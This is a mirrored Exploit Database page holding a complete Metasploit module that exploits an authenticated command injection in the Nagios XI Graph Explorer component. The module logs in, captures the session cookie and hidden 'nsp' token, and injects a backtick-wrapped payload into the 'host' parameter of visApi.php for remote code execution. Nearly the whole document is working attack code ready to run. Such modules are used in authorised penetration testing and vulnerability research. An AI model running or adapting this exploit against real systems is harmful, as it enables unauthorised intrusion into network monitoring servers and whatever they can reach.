Nagios XI Network Monitor Graph Explorer Component – Command Injection (Metasploit)

• Exploit Database
• 16 阅读

• 作者： Metasploit
  日期： 2012-12-09
• 类别：

  • remote
  平台：

  • unix
• 来源：https://www.exploit-db.com/exploits/23227/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::HttpClient
  
  	def initialize(info={})
  		super(update_info(info,
  			'Name' => "Nagios XI Network Monitor Graph Explorer Component Command Injection",
  			'Description'=> %q{
  					This module exploits a vulnerability found in Nagios XI Network Monitor's
  				component 'Graph Explorer'.An authenticated user can execute system commands
  				by injecting it in several parameters, such as in visApi.php's 'host' parameter,
  				which results in remote code execution.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'Daniel Compton <daniel.compton[at]ngssecure.com>', #Original discovery
  					'sinn3r'
  				],
  			'References' =>
  				[
  					[ 'OSVDB', '83552' ],
  					[ 'BID', '54263' ],
  					[ 'URL', 'http://packetstormsecurity.org/files/118497/Nagios-XI-Network-Monitor-2011R1.9-OS-Command-Injection.html' ]
  				],
  			'Payload'=>
  				{
  					'BadChars' => "\x00\x0d\x0a",
  					'Compat'=>
  						{
  							'PayloadType' => 'cmd',
  							'RequiredCmd' => 'generic perl python ruby bash telnet',
  						}
  				},
  			'Platform' => ['unix'],
  			'Arch' => ARCH_CMD,
  			'Targets'=>
  				[
  					['Graph Explorer Component prior to 1.3', {}]
  				],
  			'Privileged' => false,
  			'DisclosureDate' => "Nov 30 2012",
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				# URI isn't registered, because this is set by the installer.
  				OptString.new('USERNAME', [true, 'The username to login as', 'nagiosadmin']),
  				OptString.new('PASSWORD', [true, 'The password to use'])
  			], self.class)
  	end
  
  
  	def check
  		res = send_request_raw({
  			'method' => 'GET',
  			'uri'=> '/nagiosxi/includes/components/graphexplorer/visApi.php'
  		})
  
  		if res and res.code == 404
  			print_error("Remote host does not have Graph Explorer installed.")
  		elsif res and res.body =~ /Your session has timed out/
  			return Exploit::CheckCode::Detected
  		end
  
  		return Exploit::CheckCode::Safe
  	end
  
  	def get_login_data
  		res = send_request_cgi({'uri'=>'/nagiosxi/login.php'})
  		return '' if !res
  
  		nsp = res.body.scan(/<input type='hidden' name='nsp' value='(.+)'>/).flatten[0] || ''
  		cookie = (res.headers['Set-Cookie'] || '').scan(/nagiosxi=(\w+); /).flatten[0]|| ''
  		return nsp, cookie
  	end
  
  	def is_loggedin(cookie)
  		res = send_request_cgi({
  			'method' => 'GET',
  			'uri'=> '/nagiosxi/index.php',
  			'cookie' => "nagiosxi=#{cookie}"
  		})
  
  		if res and res.body =~ /Logged in as: <a href="https://www.exploit-db.com/exploits/23227/.+">#{datastore['USERNAME']}<\/a>/
  			return true
  		else
  			return false
  		end
  	end
  
  	def login(nsp, cookie)
  		res = send_request_cgi({
  			'method'=> 'POST',
  			'uri' => '/nagiosxi/login.php',
  			'cookie'=> "nagiosxi=#{cookie}",
  			'vars_post' => {
  				'nsp' => nsp,
  				'page'=> 'auth',
  				'debug' => '',
  				'pageopt' => 'login',
  				'username'=> datastore['USERNAME'],
  				'password'=> datastore['PASSWORD'],
  				'loginButton' => 'Login'
  			},
  			'headers' => {
  				'Origin'=> "http://#{rhost}",
  				'Referer' => "http://#{rhost}/nagiosxi/login.php"
  			}
  		})
  
  		return is_loggedin(cookie)
  	end
  
  	def exploit
  		nsp, cookie = get_login_data
  		if nsp.empty?
  			print_error("Unable to retrieve hidden value 'nsp'")
  			return false
  		end
  
  		if login(nsp, cookie)
  			print_status("Logged in as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")
  		else
  			print_error("Failed to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")
  			return
  		end
  
  		print_status("Sending Command injection")
  		send_request_cgi({
  			'method' => 'GET',
  			'uri'=> '/nagiosxi/includes/components/graphexplorer/visApi.php',
  			'cookie' => "nagiosxi=#{cookie}",
  			'vars_get' => {
  				'type' => 'stack',
  				'host' => "localhost`#{payload.encoded}`",
  				'service' => 'Swap_Usage',
  				'div' => 'visContainer1566841654',
  				'opt' => 'days'
  			}
  		})
  	end
  
  
  end